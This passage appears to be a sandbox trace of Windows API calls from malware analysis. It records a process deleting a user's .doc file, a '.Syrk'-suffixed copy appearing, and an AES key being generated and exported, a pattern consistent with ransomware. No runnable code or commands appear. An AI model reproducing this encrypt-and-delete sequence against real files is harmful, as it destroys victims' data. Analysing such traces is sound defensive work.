dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0223.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0223.888] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0223.888] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0223.889] CoTaskMemFree (pv=0x5c9a950) [0223.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0223.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0223.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc"), fInfoLevelId=0x0, lpFileInformation=0x253d430 | out: lpFileInformation=0x253d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe9e70, ftCreationTime.dwHighDateTime=0x1d99cd9, ftLastAccessTime.dwLowDateTime=0xba4cd830, ftLastAccessTime.dwHighDateTime=0x1d99d90, ftLastWriteTime.dwLowDateTime=0xba4cd830, ftLastWriteTime.dwHighDateTime=0x1d99d90, nFileSizeHigh=0x0, nFileSizeLow=0x6494)) returned 1 [0223.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0223.935] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 1 [0223.937] EtwEventActivityIdControl () returned 0x0 [0223.938] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.969] EtwEventActivityIdControl () returned 0x0 [0223.969] EtwEventActivityIdControl () returned 0x0 [0223.971] EtwEventActivityIdControl () returned 0x0 [0223.980] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc.syrk")) returned 0x20 [0223.981] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc.syrk")) returned 0x20 [0223.981] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0223.981] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", lpFilePart=0x0) returned 0x4d [0223.982] EtwEventActivityIdControl () returned 0x0 [0223.983] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.983] EtwEventActivityIdControl () returned 0x0 [0223.983] EtwEventActivityIdControl () returned 0x0 [0223.983] EtwEventActivityIdControl () returned 0x0 [0223.990] EtwEventActivityIdControl () returned 0x0 [0223.990] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.990] EtwEventActivityIdControl () returned 0x0 [0223.990] EtwEventActivityIdControl () returned 0x0 [0223.990] EtwEventActivityIdControl () returned 0x0 [0223.994] EtwEventActivityIdControl () returned 0x0 [0223.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.994] EtwEventActivityIdControl () returned 0x0 [0223.994] EtwEventActivityIdControl () returned 0x0 [0223.994] EtwEventActivityIdControl () returned 0x0 [0223.998] EtwEventActivityIdControl () returned 0x0 [0223.998] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.999] EtwEventActivityIdControl () returned 0x0 [0223.999] EtwEventActivityIdControl () returned 0x0 [0223.999] EtwEventActivityIdControl () returned 0x0 [0224.051] EtwEventActivityIdControl () returned 0x0 [0224.051] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.051] EtwEventActivityIdControl () returned 0x0 [0224.051] EtwEventActivityIdControl () returned 0x0 [0224.051] EtwEventActivityIdControl () returned 0x0 [0224.055] EtwEventActivityIdControl () returned 0x0 [0224.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0224.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc.syrk"), fInfoLevelId=0x0, lpFileInformation=0x235ea00 | out: lpFileInformation=0x235ea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17df210, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x17df210, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1851630, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x64b4)) returned 1 [0224.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0224.070] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0224.077] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0224.077] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0224.080] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0224.080] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0224.080] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0224.081] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0224.081] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0224.082] GetConsoleOutputCP () returned 0x1b5 [0224.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0224.082] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0224.082] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0224.083] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2367c88*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x2367c88*, lpNumberOfCharsWritten=0x5a2e3e0*=0x41) returned 1 [0224.083] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0224.083] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0224.084] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0224.084] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0224.085] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0224.085] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0224.086] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0224.086] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0224.087] GetConsoleOutputCP () returned 0x1b5 [0224.087] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0224.087] GetConsoleOutputCP () returned 0x1b5 [0224.087] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0224.087] GetConsoleOutputCP () returned 0x1b5 [0224.087] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.087] GetConsoleOutputCP () returned 0x1b5 [0224.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.088] GetConsoleOutputCP () returned 0x1b5 [0224.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0224.088] GetConsoleOutputCP () returned 0x1b5 [0224.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0224.088] GetConsoleOutputCP () returned 0x1b5 [0224.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.088] GetConsoleOutputCP () returned 0x1b5 [0224.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.089] GetConsoleOutputCP () returned 0x1b5 [0224.089] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0224.089] GetConsoleOutputCP () returned 0x1b5 [0224.089] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0224.089] GetConsoleOutputCP () returned 0x1b5 [0224.089] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.089] GetConsoleOutputCP () returned 0x1b5 [0224.089] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.089] GetConsoleOutputCP () returned 0x1b5 [0224.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0224.090] GetConsoleOutputCP () returned 0x1b5 [0224.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0224.090] GetConsoleOutputCP () returned 0x1b5 [0224.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.090] GetConsoleOutputCP () returned 0x1b5 [0224.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0224.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0224.091] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0224.091] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2368610*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x2368610*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0224.091] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0224.092] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0224.092] GetConsoleOutputCP () returned 0x1b5 [0224.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0224.093] GetConsoleOutputCP () returned 0x1b5 [0224.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0224.093] GetConsoleOutputCP () returned 0x1b5 [0224.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0224.093] GetConsoleOutputCP () returned 0x1b5 [0224.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0224.093] GetConsoleOutputCP () returned 0x1b5 [0224.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.093] GetConsoleOutputCP () returned 0x1b5 [0224.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.094] GetConsoleOutputCP () returned 0x1b5 [0224.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.094] GetConsoleOutputCP () returned 0x1b5 [0224.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.094] GetConsoleOutputCP () returned 0x1b5 [0224.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.095] GetConsoleOutputCP () returned 0x1b5 [0224.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.095] GetConsoleOutputCP () returned 0x1b5 [0224.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.095] GetConsoleOutputCP () returned 0x1b5 [0224.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0224.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0224.096] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0224.096] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2368ab8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x2368ab8*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0224.096] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0224.097] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0224.098] GetConsoleOutputCP () returned 0x1b5 [0224.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.098] GetConsoleOutputCP () returned 0x1b5 [0224.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.098] GetConsoleOutputCP () returned 0x1b5 [0224.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.098] GetConsoleOutputCP () returned 0x1b5 [0224.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.099] GetConsoleOutputCP () returned 0x1b5 [0224.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.099] GetConsoleOutputCP () returned 0x1b5 [0224.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.099] GetConsoleOutputCP () returned 0x1b5 [0224.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.099] GetConsoleOutputCP () returned 0x1b5 [0224.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.100] GetConsoleOutputCP () returned 0x1b5 [0224.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.100] GetConsoleOutputCP () returned 0x1b5 [0224.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.100] GetConsoleOutputCP () returned 0x1b5 [0224.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.100] GetConsoleOutputCP () returned 0x1b5 [0224.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.100] GetConsoleOutputCP () returned 0x1b5 [0224.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.154] GetConsoleOutputCP () returned 0x1b5 [0224.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.154] GetConsoleOutputCP () returned 0x1b5 [0224.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.154] GetConsoleOutputCP () returned 0x1b5 [0224.155] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.155] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0224.155] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0224.155] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23694c0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23694c0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0224.156] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0224.156] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0224.158] EtwEventActivityIdControl () returned 0x0 [0224.158] EtwEventActivityIdControl () returned 0x0 [0224.158] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.159] EtwEventActivityIdControl () returned 0x0 [0224.159] EtwEventActivityIdControl () returned 0x0 [0224.159] EtwEventActivityIdControl () returned 0x0 [0224.161] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.162] EtwEventActivityIdControl () returned 0x0 [0224.162] EtwEventActivityIdControl () returned 0x0 [0224.162] EtwEventActivityIdControl () returned 0x0 [0224.165] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d298) returned 1 [0224.166] CryptGenKey (in: hProv=0x5c4d298, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x3b50a8) returned 1 [0224.166] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.167] CryptExportKey (in: hKey=0x3b50a8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0224.167] CryptExportKey (in: hKey=0x3b50a8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23710e8, pdwDataLen=0x5a2e8c4 | out: pbData=0x23710e8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0224.167] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.167] EtwEventActivityIdControl () returned 0x0 [0224.168] EtwEventActivityIdControl () returned 0x0 [0224.168] EtwEventActivityIdControl () returned 0x0 [0224.168] SysStringLen (param_1="") returned 0x8 [0224.168] SysStringLen (param_1="c") returned 0x8 [0224.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.169] SysStringLen (param_1="멟⇹쬙諕겲ゆ\峚∂) returned 0x8 [0224.169] SysStringLen (param_1="멟⇹쬙諕겲ゆ\峚∂) returned 0x8 [0224.169] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.169] SysStringLen (param_1="cN") returned 0x8 [0224.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.169] SysStringLen (param_1="贠т䨴⻶籔꽢폥쯘") returned 0x8 [0224.169] SysStringLen (param_1="贠т䨴⻶籔꽢폥쯘") returned 0x8 [0224.169] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.169] SysStringLen (param_1="cNf") returned 0x8 [0224.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.170] SysStringLen (param_1="阏鼋賂츂顅ු흓놹") returned 0x8 [0224.170] SysStringLen (param_1="阏鼋賂츂顅ු흓놹") returned 0x8 [0224.170] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.170] SysStringLen (param_1="cNfJ") returned 0x8 [0224.170] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.170] SysStringLen (param_1="︿恠墧て輧㡉썎㑔") returned 0x8 [0224.170] SysStringLen (param_1="︿恠墧て輧㡉썎㑔") returned 0x8 [0224.170] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.170] SysStringLen (param_1="cNfJU") returned 0x8 [0224.170] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.170] SysStringLen (param_1="냤㠸ጂ㒛↫矂氭쐏") returned 0x8 [0224.170] SysStringLen (param_1="냤㠸ጂ㒛↫矂氭쐏") returned 0x8 [0224.170] 